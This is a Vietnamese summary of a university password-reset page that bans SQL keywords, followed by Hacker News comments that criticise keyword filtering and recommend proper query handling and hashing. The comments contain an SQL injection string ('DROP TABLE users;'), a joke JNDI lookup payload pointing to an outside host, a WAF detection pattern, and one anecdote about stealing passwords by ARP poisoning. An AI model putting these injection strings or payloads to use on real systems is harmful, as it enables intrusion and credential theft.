- Quy trình đặt lại mật khẩu của cổng ID University of Ljubljana yêu cầu nhập tên người dùng và mật khẩu mới kèm xác nhận, nhằm giảm lỗi nhập liệu trong quá trình khôi phục tài khoản
- Tên người dùng có định dạng trông giống địa chỉ email; ví dụ được đưa ra là
js1234@student.uni-lj.si - Mật khẩu mới phải dài tối thiểu 10 ký tự và không được chứa thông tin cá nhân dễ đoán như tên hoặc họ
- Phải đáp ứng ít nhất 3 tiêu chí trong các nhóm: chữ hoa, chữ thường, chữ số, ký hiệu
-_.+@ - Các từ như
select,insert,update,delete,dropcũng không được dùng trong mật khẩu, nên ngoài độ dài đơn thuần còn phải kiểm tra cả mẫu bị cấm
Luồng nhập liệu đặt lại mật khẩu
- Màn hình gồm các ô nhập Username, New password, New password confirmation
- Cả ba mục đều được đánh dấu là required
- Tên người dùng có định dạng trông giống địa chỉ email
- Ví dụ tên người dùng tương ứng với John Smith là
js1234@student.uni-lj.si
- Ví dụ tên người dùng tương ứng với John Smith là
- Để giảm lỗi gõ sai, mật khẩu mới phải được nhập hai lần
Quy tắc mật khẩu mới
- Mật khẩu mới được xem là phương tiện bảo vệ danh tính số của người dùng
- Nên tránh các mật khẩu dễ đoán
- Ví dụ: tên, họ, tên bạn đời, ngày sinh
- Mật khẩu phải dài tối thiểu 10 ký tự
- Không được chứa tên hoặc họ của người dùng
- Phải đáp ứng ít nhất 3 trong các tiêu chí sau
- Chữ cái tiếng Anh viết hoa
- Chữ cái tiếng Anh viết thường
- Chữ số
- Ký hiệu:
-_.+@
Những từ không được dùng
- Mật khẩu không được chứa các từ sau
selectinsertupdatedeletedrop
1 bình luận
Ý kiến trên Hacker News
Ồ, chuỗi đó là do tôi đưa vào. Đó là yêu cầu từ ban lãnh đạo và đến giờ tôi vẫn không biết lý do
Trang này không lưu mật khẩu, mà gần giống một giao diện bọc bên ngoài cho đẹp để dùng với hệ thống quản lý tài khoản bên ngoài
Tôi có nghe tin đồn rằng việc kiểm tra trường đăng nhập ở một số ứng dụng legacy bị lỗi nên sinh viên không thể đăng nhập với mật khẩu chứa vài chuỗi nhất định, nhưng tôi không biết trường hợp thực tế nào
DROP TABLE users;là được. Như vậy sẽ nhanh chóng lộ ra nhà cung cấp nào đang xử lý mật khẩu cực kỳ mất an toànTrong trường hợp đó có nghĩa là họ không hề lọc đầu vào của người dùng, cũng không băm hay che giấu mật khẩu, tức là ở mức gây hại cho xã hội
maxlengthcủa ô nhập trong form đăng nhậpTôi đã mất khá lâu không hiểu vì sao trình quản lý mật khẩu tự động điền thì đăng nhập được, còn tự gõ hoặc dán vào thì không. Hóa ra tự động điền đã bỏ qua
maxlengthCó chỗ nói không được chứa
"script", nhưng hồi đầu tuổi teen tôi từng hack nền tảng mạng xã hội lớn Nettby.noHọ dùng cách xóa toàn bộ từ cấm, trong đó có cả
scriptNettby không có HTTPS nên tôi lấy cắp mật khẩu của mọi người bằng tấn công người đứng giữa với ARP poisoning, rồi đăng linh tinh bằng tài khoản của họ và ngồi xem hỗn loạn. Tôi không đọc trộm gì cả; có vẻ ngay cả tôi năm 14 tuổi cũng vẫn có chút đạo đức tối thiểu nào đó
Có lẽ sẽ bị chỉ trích nhiều, nhưng tôi nghĩ ít nhất trong một số trường hợp đây là ý tưởng chấp nhận được
Trong tổ chức có rất nhiều người tạo ra code tệ và kiến trúc hệ thống tệ, còn những người có năng lực, quyền hạn và thời gian để phát hiện rồi buộc họ thay đổi thì lại thiếu
Ở Mỹ, nhiều khi bạn buộc phải làm việc qua những website được viết cẩu thả khủng khiếp, như của các cơ sở y tế địa phương. Trong những trường hợp như vậy, có lẽ tốt hơn là giả định việc triển khai có thể tồi tệ như thường thấy và khuyến nghị biện pháp giảm thiểu phù hợp
Người dùng có thể dễ dàng kiểm tra xem những mẫu mật khẩu bị cấm trên danh nghĩa có thực sự được cho phép hay không, rồi khiếu nại với cơ quan giám sát, nhưng từ bên ngoài thì không dễ xác minh liệu nó đã được triển khai đúng hay chưa
Không thanh lịch và khá bi thảm, nhưng có lẽ thực tế hơn là chấp nhận rằng mọi thứ thường được làm rất cẩu thả và giám sát thì thiếu hụt, rồi nghĩ đến các biện pháp giảm thiểu để ngăn kết quả tệ nhất
Những biện pháp bảo mật kiểu này thường che giấu vấn đề sâu hơn. Thường thì chúng được thêm vào vì đầu vào người dùng không được xử lý cẩn thận, nhưng giả định rằng chặn vài từ khóa sẽ “vô hiệu hóa” lỗ hổng tiềm ẩn thì hầu như lúc nào cũng dễ bị bác bỏ. Cứ xem các trường hợp eBay và JSFuck
Tôi ghét kiểu tư duy này. Tường lửa ứng dụng web (WAF), kiểm thử xâm nhập làm cho có, và các ô đánh dấu tuân thủ đã tạo ra một lượng lớn màn kịch bảo mật, khiến các công ty tin rằng việc để phần mềm viết cẩu thả đến vô lý của họ lộ ra internet công cộng một phần vẫn là “an toàn” và rằng họ đã “thẩm định đầy đủ”
Kết quả là tôi lại nhận được thư xin lỗi qua đường bưu điện từ một công ty mà tôi gần như không có lựa chọn nào khác ngoài giao dữ liệu cho họ, báo rằng thông tin nhạy cảm nhất của tôi lại tiếp tục bị rò rỉ. Chắc hẳn ai cũng đã rất quan tâm đến dữ liệu của tôi nên mới để nó bị đánh cắp qua lỗ hổng trong thư viện tuần tự hóa Java tồn tại hàng chục năm
[1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
Điều đó khiến bất kỳ tổ chức nào cũng trông tệ, nhưng đặc biệt nghiêm trọng nếu đó là trường đại học, nơi lẽ ra phải là thành trì của những người có năng lực và quyền hạn
Nếu xét theo lời khuyên mật khẩu thông thường, tốt hơn là mọi người đều đưa những từ khóa này vào mật khẩu để bug lộ ra sớm. Đừng để nó ẩn đi rồi chỉ bị kẻ tấn công khai thác
Cần băm kèm salt hàng trăm nghìn lần rồi so sánh với giá trị salt và hash được lưu trong file
Nếu làm vậy còn không nổi thì không đủ tư cách viết phần mềm lưu trữ thông tin xác thực. Tôi nói nghiêm túc đấy. Bảo mật phần mềm bắt đầu từ việc thừa nhận rằng dữ liệu là thứ độc hại và nếu không tôn trọng nó, nó có thể làm công ty phá sản
Nếu bạn phải lo rằng hệ thống sẽ đưa mật khẩu dạng văn bản thuần vào bảng cơ sở dữ liệu, thì trong hệ thống đó còn cả triệu chuyện khác có thể sai kinh khủng. Ví dụ, sẽ làm gì nếu DBA copy-paste SQL từ Stack Overflow
Nếu tổ chức có các kỹ sư thiếu năng lực, đừng để họ tự triển khai hệ thống xác thực; tốt hơn là dùng framework mã nguồn mở phổ biến hoặc sản phẩm thương mại
Nếu luồng xác thực còn làm gì khác ngoài băm mật khẩu với salt rồi vứt bỏ mật khẩu gốc dạng văn bản thuần, thì toàn bộ hệ thống đó không nên được sử dụng
Cũng được thôi. Thay vào đó cứ dùng
truncateĐiều buồn cười nhất trong chuyện này là họ thậm chí còn không kiểm tra hết tất cả chuỗi bị cấm
Nguồn: tôi là sinh viên trường đó, tò mò nên tự thử
Thay vì dùng stored procedure phù hợp và các kỹ thuật khác để khiến SQL injection hoàn toàn không thể xảy ra, họ chỉ chặn vài từ khóa và hy vọng hacker sẽ không nghĩ ra cách khác mà họ chưa lường tới, kiểu như mánh escape
Có lẽ sẽ hoạt động được một thời gian, tức là cho đến khi ai đó chứng minh là không được
Việc không để đầu vào người dùng trộn lẫn với SQL giờ đâu còn là khoa học tên lửa. Đây không phải năm 2005
Ngay từ đầu, nếu cách này có hiệu quả thì cũng có nghĩa là mật khẩu đang được lưu mà không băm, mà điều đó thì ngay cả năm 2005 cũng đã là ngớ ngẩn. Nếu áp dụng kiểu này cho tên người dùng hay các trường nhập liệu khác thì còn hợp lý hơn đôi chút, nhưng mật khẩu thì tuyệt đối không nên đi vào cơ sở dữ liệu theo cách đó
Có người đề xuất các trường phân tách bằng dấu gạch đứng, nhưng cũng bị bác. Lý do kiểu như “ngày xưa có proxy của vài khách hàng từ chối header chứa ký tự gạch đứng”
Lập trình kiểu phù thủy cầu may không phải lúc nào cũng do thiếu khảo sát thực tế. Đôi khi nó cũng xuất phát từ trường hợp biết rằng đã từng có thứ gì đó lỗi, nhưng không còn bằng chứng và cũng không có cách xử lý
Cá nhân tôi thì muốn cứ triển khai rồi xem có vỡ không, nếu cần thì xử lý với khách hàng sau. Dĩ nhiên vì những lý do hợp lý và dễ hiểu nên cách này không được ưa chuộng, thành ra cuối cùng chúng tôi không dùng ký tự gạch đứng
Script CGI chắc cũng chạy trong taint mode thì phải. Còn ai nhớ thứ đó không?
RDBMS có thể hỗ trợ hàm băm, nên vẫn có thể lưu kiểu
UPDATE USERS SET PASSWORD = SHA2($PASSWORD). Trường hợp này vẫn dễ bị SQL injection, nhưng không có nghĩa là đang lưu mật khẩu chưa bămCó nhiều lý do chính đáng để khuyên nên băm ở tầng ứng dụng, nhưng nếu dùng truy vấn được tham số hóa đúng cách thì làm trong cơ sở dữ liệu cũng không hẳn là kinh khủng
Ha, không đời nào bắt được tôi. Mật khẩu của tôi là
${jndi:ldap://hunter2.com/totallylegit}Tên miền chỉ được chứa ký tự ASCII
a-zvà chữ số0-9, dấu sao không được phép. Ký hiệu duy nhất được chấp nhận là dấu gạch nối, và nó cũng không được đứng ở đầu hoặc cuốiNếu nhìn theo hướng lạc quan thì yêu cầu này có thể xuất phát từ một tường lửa ứng dụng web (WAF) quá tay
Các bình luận khác xem đây là “bằng chứng” cho thấy bảo mật ứng dụng kém, nhưng tôi không nghĩ có thể kết luận xa đến vậy. Dù vậy, vẫn có thể kết luận rằng một phần nào đó trong stack đã được triển khai rất tồi
Nghe như tàn dư còn sót lại từ một hệ thống cũ. Tôi từng nghe nói vài trường đại học và ngân hàng vẫn dùng mainframe cũ cho xác thực tập trung
Trong một số trường hợp, tôi nghe rằng mật khẩu được lưu dạng văn bản thuần, bị cắt còn 8 ký tự và chỉ cho chữ in hoa
Lý do chính khiến người ta không nâng cấp các hệ thống đó, ít nhất theo những gì tôi nghe, là chi phí và độ phức tạp. Kiểu thay vì bỏ
$$$$để nâng cấp một hệ thống vẫn đang chạy, thì chỉ tốn$để hạn chế mật khẩu và thêm chút “bảo mật” cơ bảnVài năm trước tôi từng làm một ứng dụng đăng bài qua WordPress API. Khách hàng của chúng tôi cài WordPress trên đủ loại môi trường hosting khác nhau, và ở đó có đủ thứ tính năng “bảo mật”
Tôi nhận được báo lỗi rằng khi đăng bài lên blog thì bị thất bại và nội dung rỗng được đăng lên; hóa ra một plugin bảo mật kiểu này quét các bài blog dài, rồi nếu thấy thứ gì như
.... select fromthì nó biến tham số POST đó thành chuỗi rỗngTôi cũng từng thấy báo lỗi tương tự từ khách hàng: trong phần văn bản HTML bên trong trường JSON của request do máy chủ chúng tôi gửi đi, có JavaScript bị làm rối được chèn vào. Tôi không chắc đó là plugin “bảo mật” hay mã độc
selecttrong đó, nhưng đa phần chỉ là một phần của tên tham số nhưitemselect. Thế là tôi lục tìm xem có bộ lọc kiểu WAF nào nằm đâu đó trong stack khôngCuối cùng tôi tìm ra một cấu hình cũ còn sót lại trên proxy server từ trước cả khi dùng WAF thương mại, và nó đang dò mẫu
SELECT.*UNIONNhìn lại URL thì hóa ra tất cả còn có tham số như
company=credit+union. Tôi chỉ biết ôm mặt, xóa đoạn cấu hình đó đi, và ở chỗ khác đã có đủ lớp bảo vệ rồi